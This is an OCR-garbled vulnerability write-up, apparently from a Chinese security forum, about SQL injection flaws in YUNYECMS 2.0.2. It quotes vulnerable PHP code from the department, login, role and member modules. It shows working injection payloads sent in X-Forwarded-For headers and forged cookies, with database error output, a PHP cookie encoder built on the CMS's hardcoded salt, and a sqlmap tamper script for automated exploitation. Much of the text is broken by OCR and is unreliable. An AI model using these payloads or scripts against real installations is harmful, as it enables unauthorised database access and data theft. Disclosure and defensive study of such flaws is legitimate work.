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hRAS: 2.0.2
PS: ELBIRNET&EIRAY, BEAESHREE TLINRERE, Z3(IFEIFZ5R.

SQL A 1 - [|5& de***.php

XtM CNVD %S : CNVD-2020-12871

IRAEIEEREXH de . phpit,  de *+_add EREIXY GET §1 POST 8855177 2E
empty ¥Ilffr, RLEENNLNSEUELE T edit_admin_department,

ion department_add(){
_GET["id"])){
$parnav-"<1li><a href=\""_url
target aincontent : ' : $this->hashurl[ ‘usvg ]). "\"
target=\"maincontent

_numeric($departmentid) ){
Lan( "department_id notnumber’),url admin( 'init',"","",§this->hashurl[ usvg']), "warn™);

>db->find("select * from ~#yunyecms_department™ where ~departmentid = {$departmentid}");
r
t
ebox(Lan( "department_not_exist'),url_admin('department_add", 'department’,array( 'id’->%departmentid),
->hashurl[ "usvg']), "warn");
1

1
$yyact-"edit";

J 1
$yyact-yyact get(“add");
$parnav a href=\""_ur nit'," Pty s->hashurl[ "usvg']}. "\"
aincontent\"> &3 axr< <lir<a ".url_admin department',’ ", fthis->hashurl[ 'usvg'])."\"

(array ("status”,$_POST))}{$status-$_POST["status"];} {
$status
1
i
($_POST["yyact"]=="add"){
! -»add_admin_department($departmentname,$status});
1
J
($_POST["yyact™]=="edit™){
$id-$ POST["id"];
$olddepartmentname-$_POST[ "olddepartmentname™];
gthis->edit_admin_department($id, $departmentname,$olddepartmentname,$status);

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154250-eb8ac008-59fd-
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ER edit_admin_department, XSEKRFT 7HE, BERIMR
ﬁ $departmentname, $olddepartmentname ﬁ’/ﬁ'T usafestr ?@ﬁi,ﬁ, iFTiME’\J $id ]:;H%EUT SC]l igﬁ_]
AT,

function edi i ment
$departmentname-usaf trim($departmentname));
$olddepartmentname-usafestr (trim($olddepartmentname));
(empty($departmentname) | |empty ($id)){
m box(Lan( 'department_name_empty'),url_admin('department_add’,’department’,ar
usvg']),"warn”);

($departmentname ! -$olddepartmentname){
$num-5t -»db->GetCount("select count(*) as total from ~#yunyecms_department™ where departmentname='$departmentn
and departmentid<>$id limit 1");
($num){ messagebox(Lan( 'department_already exist'),url admin( department _add","","", >hashurl[usvg’]), “wa
. 1

)
3
$status-usafestr(trim($status));
(empty($status)){
$status-0;
Yelse{

$status—(int)$status;

$strsql-"update "#yunyecms_department™ set ~departmentname’= artmentname’ ,” status”=$status where
tmentid="$id" "
»>db->query($strsql);
($query){
messagebox(Lan('department_edit_success’),url_admin{'init',"","’ | >hashurl[ "usvg']), "succe
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SQL iFAZ - lo***.php
XFEAREREER MEELEE— M FERIEEEERIRIEIEN.
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MEEXHHIIRER DT, £ 100++.php FIIIAE adminlogin Fe3REX T EREERT ip, 1Z ip £K
[':]’Jﬁ%i‘% IFE/I getip()->$logiparr->encode->$logipstr SAEHHEZR! $Sq| Bad Iastlp, a1 F R
{m Ilb\o

function adminlogin
$logiparr[
$logiparr[

LH

LoginTimes{$logiparr["
->db->find("select “us ©, username”,” password”,” salt”,  realname”, roleid” ,lastlogintime,lastip from
y user” where "u e’= '{$username}’ and status
(empty($cuser)){
:InSEPtEIP, " r_notexist'));

3

1
$salt-$cuser["salt"];
$passwordencode 'YECMSadmPwd($password, $salt);
$passwordencode){
($useriname, $password,$logiparr["ipaddr”],$logintime,Lan( adminlogin_pwderror’

y t rnd="%rnd’, loginnum=loginnum+1,lastip=" :. i 'ylastlogintime="$%
logintime',prelogintime C! r[1 g ' ,preip="$cuser 1" where username=" " Plimi¥E 1795

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154319-fd3e1b24-59fd-
1.png)

BREE getip()

"
set($_SERVER[ '"HTTP_CLIENT IP']) - cmp($_SERVER[ "HTTP_CLIENT IP'], “unknown"))
$ip - $_SERVER['HTTP_CLIENT IP'];
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1sset(d o ) FOR { ) unknown
$_SERVER[ 'HT )
(isset($_SERVER[ "REMOTE_A ) strcasecmp($_SERVER[ "REMOTE_ADDR "], “unknown™))
$ip - $_SERVER['REMOTE_ADDR"];
(isset($ SERVER['REMOTE_ADDR']) isset($_SERVER[ 'REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE ADDR'], “unknown™)

)
$ip - $ SERVER['REMOTE_ADDR'];
$ip - "7;

($ip);

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154329-03011ade-59fe-
1.png)

Vi

R EGREIERENAY ip, M HTTP_X_FORWARDED_FOR J9EAIJAT#HY http SLEB.

POST fyunyecms2.0.2/admin.php?c=login&= HTTRP/.1 : HTTPA.1 200 OK \A
Host: 192.168.0.112 Date: Thu, 27 Feb 2020 01:20:18 GMT o
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; rv.73.0) Gecko/20100101 Firefox/73.0 Server: Apache/2.4.23 (Win32) OpensSLN.0.2] mod_fogid2.3.9

Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp ** =06 X-Powered-By: PHP/7.1.13

Accept-Language: zh-CN zh;g=0.8 zh-TW; .7, zh-HK;g=0.5 en-US;q=0.3 en;¢g=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT

Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate

Content-Type: application/x-www-form-urlencoded Pragma: no-cache

Content-Length: 52 Connection: close

¥-Forwarded-For:127.0.0.1" and sleep(5)# Content-Type: text/html, charset=UTF-3

Crigin: http://192.168.0.112 Content-Length: 3701

Connection: close

Referer: htp:/192 168.0.112/yunyecms2.0 2/admin.php?c=login&usy_diCO=inuwAEMNRA <IDOCTY b

Cookie: PHPSESSID=6n1khtud6ub7j20bnfId0bncu; <html>

YUNYECMS_userid=YmMOOWMEZWY10DKSZGRENzMOTTEIPThkN2U3OTk1 OWIONDJhMjVKMTRI <head>

ZTMANmZkMjgzNjlkaMzRh; YUNYECMS_usemame=cc; YUNYECMS_groupi <meta charset="utf-8">

YUNYECMS_mobile=15064531232
YUNYECMS_logintruetime=15827

YUNYECMS_loginmd=hcingy ACDIMPQWYZ; <meta http-equiv="X-UA-Compatible" content="IE=edge">
764; YUNYECMS_logintime=1582705764 <title=YUNYECMS V2.0.2 {5 B I <hitle>

5

Upgrade-Insecure-Requests: 1 <J- he browser to be responsive to screen vi -
<meta content="width=device-width, initial-scale=1, maximum-scale=1, userscalable=no"
uname=admin&pwd=admin123&captcha=gspl &yyact=admlogin name="vigwport">

<l-- Bootstrap 3.3.6 >
<link rel="stylesheet” href="/yunyecms2.0.2/public/ui/bootstrap/cssibootstrap.min.css">
<l-- Font Aviesome -->
<link rel="stylesheet”

href="/yunyecms2.0.2/public/ui/plugins/font-awesome-4 7 O/css/font-awesome. min css">
<. I
<link rel=

e styl

styleshest” href="fyunyecms2.0.2/public/ui/dist/css/AdminLTE. min.css">
<link rel="style: cms2.0.2/public/ui/dist/css/admin.css">
<l HTMLS ¢ F8 it of | L5 eler { media queries -->

v <hody class="hald-transition rightbgcolor” onload="changefrmHeight()"> N .v

1 term 0 matches @ w u u

h term N 0 matches
o

4,036 bytes | 7.417 millis
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POST fyunyecms2.0.2fadmin.php?c=login&= HTTP/1.1 ‘A <fdiv>

Haost: 192.168.0.112 eader -->

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; v:73.0) Gecko/20100101 Firefox/73.0 div clas: ox-body" style="text-align:center;">

Accept: text/htmlapplication/xhtml+xml| application/xml;q=0.9 image/webp */* ¢=0.8 <div class="alert alert-info alert-dismissible” >

Accept-Language: zh-CHN zh;q=0.8,zh-TW;g=0.7 zh-HK;q=0.5 en-US;g=0.3 en;q=0.2 <hd><j class="icon fa fa-info"></i> SELI COUNT() FROM

Accept-Encoding: gzip, deflate “yunyecms_adminloginfail’ where ip="127.0.0.1" ai e xtractvalue(1,concat{0x7e,(select
Content-Type: application/x-www-form-urlencoded [, ion),0x7e))#" and failti 0 and lastlogi >1582763457 limit 1</hd>
X-Forwarded-For:127.0.0.1" and extractvalue(l concat{0x7e (select @@ve\smn),[}x?e))# <h>MySQL Error: </b>XPATH syntax error: ~5.5.53~"<hi/><h>MySQL Errno:
Content-Length: 53 <fb=1105<bi/><b><a hreFhttp:iwww. yunyecms.com/fag’ target="_blank><i class=1fa
Crigin: http://192.166.0.112 fa-life-ring'></i> Need Help? </a»</b> </div>

Connection: close </div>

Referer: hitp //192.168.0.112/yunyecms2.0.2/admin.php?c=login&usy_blod=kmuwEF RO <l-- /. box-bod)

Cookie: PHPSESSID=8n1khtud6ub7? j20bnf3 d0bncud; </div>

YUNYECMS_userid=YmMIOWMSZWY 1 ODkEZGRENzMOT1ESPThkN2UZC0TE 1 OWIONDJhMVEMTRI <)/ box -

ZTNANmZkMjgzNjkaMzRh; YUNYECMS _username=ce; YUNYECMS_groupid=T1, <fdiv>

YUNYECMS_mobile=15064812929; YUNYECMS_loginmd=bcingyACDIMP QWY Z, <l fcol >

YUNYECMS_logintruetime=1582705764; YUNYECMS_logintime=1582705764; <I-f.col >

YUNYECMSADM_admusername=admin; YUNYECMSADM_admuserid=1; </div=

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154347-0de76548-59fe-
1.png)

SQL A 3-roe.php

14 role.php FEEXNESE id IREHITLIRRFT TES empty #IliT, &ZE
edit admin_role (7T SQL &Hif,

¥
t($_POST["yyact”])){
%$rolename-$_POST[ "rolenam
(array_| i ("powers™,$ POST)){
$powers=%_POST[ “powers™];
((yunyecms_getarr alue($powers, "info', "'all’)==1)&&(yunyecms_getarr
messagebox({Lan{ role info allself’), "back’,"warn™};

powers=NULL;

yyact™]=="add"){
»add_admin_role($rolename,$powers);

$_POST["yyact™]-="edit"}{
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b1 B | c H
$oldrolename-% POST[“Uhdrolename™];

fthis-»edit_admin_role($id,$rolename, $oldrolename, $powers) ;

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154356-131cd782-59fe-
1.png)

7

function edit_admin_role($ic
$rolename- r(trim($rolename));
$oldrolename-usafestr(trim($oldrolename));
(empty($rolename)
box{Lan( role_name_empty’),url admin( role_add','role’,array( id’->$id)),"warn™);

$powers)){
box{Lan( "role_powers_empty'),url_admin{’role_add’,'role’,array(’'id"=>%id)),"error");

$salt-make_rand(20);
$range[ 'md5" ][ 'min’ J=mt_r
$range[ ‘'md5" ][ ‘max’ ]-m
$range[ “shal’ ][ "min"
$range[ ‘shal’]["
$rangearr=yuny

ncode(json_encode($powers),$salt,$rangearr);

{

elect count(*) as total from ~#yunyecms_admin_role” where rolename='$rolename! and

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154404-17b3b536-59fe-
1.png)
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FIZSIEIRRAIAT yunyecmsmodel php SX{HEITRI, EEH HER

ecquest from "mode. txt’
orL to the t

from stored s

Farameter:
Type: b
Ti : B
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- "l—'n‘r database
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BEETIMEESEERam.
BIE sql iEA

[BRRHIERTE mexx+.php {4, BENFEE customform Y userid M cookie H3REY,
BHEN—EEUEE T LAEZR! cookie BY userid g0 :

Cookie: FHPSESSID=6n1khtu96ub7[20bnfad0bncus,
(UNYECMS usend=YmMICOWMEINY 1 ODKSZGRENzMOTTEYPThikM2ZUS 0T OWIOMNDJIRMPWEMTRI
ITMAMmZkMgzMjkEMzRh;

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154427-25887372-59% e-
1.png)

LI TINEAIE, 1RIERZREIZ yunyecms_strdecode AJLATE corefun.php $KEIXS M HIINAERZ
8%

function y

35));

¥

function yunyecms strdeco



https://xzfile.aliyuncs.com/media/upload/picture/20200228154419-20f603b0-59fe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200228154427-25887372-59fe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200228154436-2aa77a24-59fe-1.png

$retstr-basebs ode($string);
$SHA1salt ($salt),d,35);
$md5salt=s (md5($salt),8,18);

$retstr “(:E.retstr‘,g— n{$mdS5salt));
$retstr ~{$retstr, 8, (strlen($retstr) -strlen($SHAlsalt)));
b ode($retstr);

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154436-2aa77a24-59fe-
1.png)

/9 cookie EBAY userid AHZEEILFRAMRIEEI L RERTILAE cookie H{mi& userid (B, &
EANRIRILA EZERY userid UL,

<« c @ © & 192.168.0.112/yunyecms2.0.2/front-test.php?cockie=YmMOOWMSZWY10Dk5ZGRkNzMOT1E9PThkN2U3OTK10WIONDIhMjVKMTRIZTMANMZkMjgzNjk5MzRh
o B odlEsRs @FFLE DRt @AFER O rssiSwitep| ..
9

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154444-2fc84196-59fe-
1.png)

BJLABRIESLRY userid 9 9, #iE— SQLIEN, ERINT payload:

&« a @ g 192.168.0.112/yunyecms2.0.2/front-test.php?userid=9" and sleep(5)#
o BErE Bydssss @FEFLE DA ©FFER O oSt .

Call Stack
# [Time Memory Function Location
1 0.0003 143552|{main}( ) .\front-test.php:0

YmMOOWMSZWY10Dk5ZGRkNzMOT1NJZ 1IXNWHSESzZWIdWAOtEVXA4ZDdINZKSNTIINDQyYTI1ZDEOZWUzODZmZDI4AMzY50TMOYQ==

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154456-36e51602-59fe-
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YmMOOWM5ZWY10Dk5ZGRkNZMOTINFZ11XNWtISE5zW1dWdOtEVXA4ZDd1Nzk5NT1iNDQyYTI1ZDE@ZWUZzODZMZDI4MzY50TMOYQ==

payload AE{LES front-test.php /9:

<?php

function yunyecms_strencode($string,$salt="~"y#u%n$y e*ckm s ~"){
return base64_encode(substr(md5($salt),8,18).base64_encode($string).substr(shal($salt),o,35));

}

function yunyecms_strdecode($string,$salt="~"y#u%n$y e*ckm s ~"){
$retstr=base64_decode($string);
$SHAlsalt=substr(shal($salt),0,35);
$md5salt=substr(md5($salt),8,18);
$retstr=substr($retstr,strlen($mdssalt));
$retstr=substr($retstr,0, (strlen($retstr)-strlen($SHAlsalt)));
return base64_decode($retstr);

}

if ($_GET['cookie']) {
$string=$_GET[ 'cookie'];
$userid=yunyecms_strdecode($string);
echo $userid;

}

if($_GET[ 'userid']){
$string=$ GET['userid'];
$cookie=yunyecms_strencode($string);

echo $cookie;
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HrEREFRRTISAY userid, ATLAER! userid ZRITHE 3-54->5 (EBE|T pagelist EE+

r[ title']}-".Lan( 'member_center');
eostr}-{$seo[ "title']}";
$seostr}-{$seo[ "keywor 3
$breadcumb-array('@"=>ar title'=>Lan(" mpmbur_ ter'), "url’=:url(“"member/member/ind

3
"1'=rarray( title’ =>$cat[ "title’], 'url’ =>url{“member/member/customform”,array( $cat['id"1)))

_strde

(Tempty ($_| S catid"])){
$catid i usafes % _REQUEST[ "catid’]));
$modelid-getmodel

1
(empty ($modelid)){
messagebox(Lan( 'model_
I

}
$m0del+1elds L »select(“select * from “#yunyecms_modelfields™ where modelid={$curmodel[ ‘modelid’']} and isdisplay=1
$pagesi
$salauery #vunvecms {$tablepame}™ ™.
$wherea=" |
$sqlcnt=" t count( om #yunyecms_i$tablename}” *;
$order-" “addtime™ desc
(isset($. REQUE T)){

( lempty ($-REQUEST[ "searchkey”])){
$searchkey-usafestr{trim($_REQUEST["search
$where-$where.” and ( “title™ 1i { ~chkey] “title en” like "%{$

3
}
$pagearr
($pagearr
$list-$pagearr["guery”];
($list $key->-$var){
$modelarr-% >db-: elect modelid from ~#yunyecms_category” where “id = {$var[ ' catid']}

($modelarr){
$115t [$Pev][”modelld”] $mﬂdelar'r["mud»-11d"] 3

>db->getbyid($var[ » "member
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ER pagelist %1, 1§ $where HHEZ]7T sql EFE@H $sqlent, RELETEIJLXR SQL iF
AEBHIAY SQL EifEREL GetCount |,

trorder="order by “id~ desc’,$listRows

(is_numeric($sqlent)){
$count = $sqlcnt;

¥
$sqlcnt=$sqlcnt.” " .$where;
$sqlcnt=s place_tablepre($sqlcnt);
$count GetCount($sqlecnt);

}

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154525-47e386aa-59fe-
1.png)

HHEE MR, BEHITT sql &,

function Fetimunt{iiqi}{

(empty(%sql)) alse;
$sql=self::replace_tablepre($sql);

$sql = preg replace ("/“SELECT (.*) FROM/i", " COUNT(*) ",$sql);
f$lastresult is->db->execute($sql);
$this->db->num_count($lastresult);
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Bf_E&

&« c @ £ 192.168.0.112/yunyecms2.0.2/front-test.php?userid=9 and extractvalue(1,concat(0x7e, (select @ @version),0x7e))# =

MErss @ FELe DIsAER QRFER O xRt ..

Call Stack
# [Time \Memory \Fundion \Location
1] 00007 | 143808]{main}() |..Afront-test.php:0

YmMOOWMSZWY10Dk5ZGRkNzZMOT1NCaGJtUwWdaWGgwY21GamRIWmhiSFZsSORFcTkyOXVZMkYwSORCNE4yVXNLSESsYkdWamRDQKFRSFpsY250cGlyNHBMREIOTjJVCEtRPTO4ZDdINZKSNTIil

W Burp Suite Professional v2.0beta - Temporary Project - licensed to surfengz

Burp Project Intruder Repeater Window Help

- [m]

x

[Dasmmam Target | Proxy | Intruder RepeaterTSequencerTDecndarTComparerIExlendevTProjactopuonﬁTUSeropﬂonS]

Host, 192.168.0.112

User-Agant: Mozilla/s 0 (Windows NT 10.0; Win4; x64; v:73.0) Gecko/20100101 Firsfox/73.0
Accept: text/html,appl Riml-+xml appl ml:q=0.9, bp P
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7,2h-HK, 4=0.5,2n-US; 4=0.3,en,g=0.2
Accept-Encoding: gzip, deflate

Connection; close

Refarar: hitp://192.168.0.112/ 0.2findex.php?a=p

Cookie: PHPSESSID=8n1 khtu36ub7[20bnfd0bneud;
YUNYECMS_userid=YmMOGWMEZW Y1 ODK5 ZGRKNZMOTINCaGHUWda W Ggw 121 GamRIWmhiSF
ZSSORFc1ky CXVZMK Y wSORCNE4yVXNLSESSY kdWamRDQKFRSFps Y250 GlyNHBMREIT Ve Et
RPTOAZDdINZKENTIINDQy YTI1ZDEOZWUzODZmZDIAMz YEOTMO Y O==|

YUNYECMS_username=cc; YUNYECMS_groupid=1; YUNYECMS_mobils=15064812529;
YUNYECMS_loginmd=beingyACDIMPGWYZ; YUNVECMS _logintrustime=1582705764;
YUNYECMS,_logintime=1582705764; YUNYECMSADM _admusemame=admin;

YUNYECMSADM admussiid=1, YUNYECMSADM admrolsid=1

1o fa e g e a8 6 |7 (88 e [100 (11120131415 [16 [17 < [18 < [19 -« [20 »
Go Cancel | [ < |v || >|v Target: hitp://192.168.0.112 /@
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET 1y 0 2/index php7a=my HTTRA 1 L cdivclass="comainer lud id="mainwap"> D

<l-- Main contel
<section cla; content">
<div class="row">

<div class="colmd-12">
<div class="box hox-info">
<div class="hox-header with-border” style="text-align:center,">
<h3 class="box-title"> {5 B IR </3>
<fdiv>

"box-body” style="text-align center.">
alert alert-info alert-dismissible” >

<div class:

<h4><i class="icon fa fa-info"></i> select~ from "yunyecms_member where "id’= 9

and lue(1 {0xTe,( o), 07 ejidy >
<b>MySQL Error: </b>XPATH syntax error: *~5.5.53~"<bi/><b>MySQL Ermo:
</b>1105<br/><b><a href="hitp:aww. yunvecms. com/faa’ taraet=" blank'><i class="fa

(https://xzfile.aliyuncs.com/media/upload/picture/20200228154541-51cc8900-59fe-

1.png)
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yunyecms_front_sqli_tamp.py

#!/usr/bin/env python

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission

import base64
import hashlib
from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():

pass

def md5(data):
hash_md5 = hashlib.md5(data)
md5data=hash_md5.hexdigest()[8:18]
return md5data

def shal(data):
string_shal=hashlib.shal(data).hexdigest()[0:35]



return string_shal

def yunyecms_strencode(string):

salt="~"y#u%n$y e*ckmrs ~"

return base64.b64encode(md5(salt)+base64.b6dencode(string)+shal(salt))
def tamper(payload, **kwargs):

Base64-encodes all characters in a given payload

>>> tamper("1' AND SLEEP(5)#")
'MScgQU5SEIFNMRUVQKDUpIw=="

nnn

return yunyecms_strencode(payload) if payload else payload

fRETeS~



